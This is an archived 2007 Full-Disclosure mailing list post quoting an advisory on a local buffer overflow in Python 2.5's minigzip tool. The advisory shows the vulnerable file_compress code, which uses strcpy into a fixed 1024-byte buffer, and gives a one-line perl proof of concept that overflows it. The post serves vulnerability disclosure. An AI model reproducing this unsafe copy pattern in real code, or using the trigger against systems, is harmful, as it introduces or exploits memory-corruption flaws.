[Full-disclosure] Python 2.5 (Modules/zlib) minigzip local buffer overflow vulnerability

[James Matthews]

and you would think some bugs we got rid of in open source software!

On 3/14/07, starcadi starcadi <starcadi at gmail.com> wrote:
>
> Description:
>
> The source of python contain a various modules, the zlib module contain a
> minigzip tool, ( * minigzip is a minimal implementation of the gzip
> utility. ).
>
> Source error:
>
> the error was found in:
> - void file_compress(file, mode)
> because the use of strcpy() is inapropriatly
>
> --
> #define MAX_NAME_LEN 1024
> [..]
> void file_compress(file, mode)
>     char  *file;
>     char  *mode;
> {
>     local char outfile[MAX_NAME_LEN];
>     FILE  *in;
>     gzFile out;
>
>     strcpy(outfile, file);
>     strcat(outfile, GZ_SUFFIX);
> --
>
> the function file_compress() was called by main() function.
>
> Proof of concept:
>
> if you want test the vulnerability try:
> $ minigzip `perl -e "print 'A'x1050"`
>
> -- starcadi
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
http://www.goldwatches.com/watches.asp?Brand=39
http://www.wazoozle.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070314/74558a37/attachment.html